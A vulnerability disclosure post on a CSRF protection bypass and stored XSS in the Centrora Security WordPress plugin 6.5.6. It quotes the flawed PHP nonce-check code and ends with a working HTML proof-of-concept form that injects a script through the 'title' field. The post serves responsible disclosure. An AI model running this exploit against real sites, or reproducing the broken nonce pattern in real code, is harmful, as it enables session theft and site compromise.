02 Sep

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Centrora Security

When it comes to writing secure code one good piece of advice is to use the security functions provided in the environment you are using instead of making your own. The developers of Centrora Security decided not to do that in the cross-site request forgery (CSRF) protection for AJAX requests in the plugin and in their custom code they made a mistake that nullified the protection as of version 6.5.6.

According the plugin’s description it is able to help identify security vulnerabilities, but it would seem not this one:

The built-in Malware and Security Scanner can also help you identify any security risks, malicious codes, spam, virus, SQL injection and security vulnerabilities existing in your online system.

AJAX requests are sent to the runAction() function in the class oseAjax, located in the file /vendor/oseframework/ajax/oseAjax.php :

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

The CSRF protection occurs in the secureCheck() function called in that, but in version 6.5.6 there was a problem with the function’s code:

41
42
43
44
45
46
47
48
49
50
51
52
53
54
private static function secureCheck()
{
	if (!empty($_REQUEST['centnounceForm'])) {
		$centnounce = (isset($_REQUEST['centnounceForm'])) ? $_REQUEST['centnounceForm'] : '';
	}
	else {
		$centnounce = (isset($_REQUEST['centnounce'])) ? $_REQUEST['centnounce'] : '';
 
		if (!self::verifyNounce($centnounce))
		{
			die('Sorry, our software is CSRF proof.');
		}
	}
}

If the request includes a GET or POST input named “centnounceForm” then the value of that was set to the variable $centnounce and the function stops running without checking if a valid nonce is included by running it through the function verifyNounce().

Also worth noting is that the code appears to be used with a Joomla version of the software as well, but when used in the Joomla version the nonce is never checked by verifyNounce(), instead it is always returns true:

55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private static function verifyNounce($centnounce)
{
	if (OSE_CMS == 'joomla')
	{
		return true;
	}
	else
	{
		if (isset($_SESSION['centnounce']) && $_SESSION['centnounce'] == $centnounce) {
			return true;
		} else {
			return false;
		}
	}
}

A cross-site request forgery (CSRF) vulnerability’s severity depends on what it would possible actions you could cause someone to take without them intending. In this case one possibility is to use it to cause persistent cross-site scripting (XSS) due to lack of sanitization or escaping for items on the  IP Control page, /wp-admin/admin.php?page=ose_fw_manageips, of the plugin.

The lack of sanitization occurred for the “title” input in the function action_Addips() in the file /classes/App/Controller/ManageipsController.php:

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The getVar function, which didn’t sanitize it,  can be found in the file /vendor/oseframework/request/oseRequest.php.

The value is returned through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that didsn’t escape it.

On the day we contacted the developer about the issue they fixed the broken cross-site request forgery (CSRF) protection with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.

Leave a Reply

Your email address will not be published. Required fields are marked *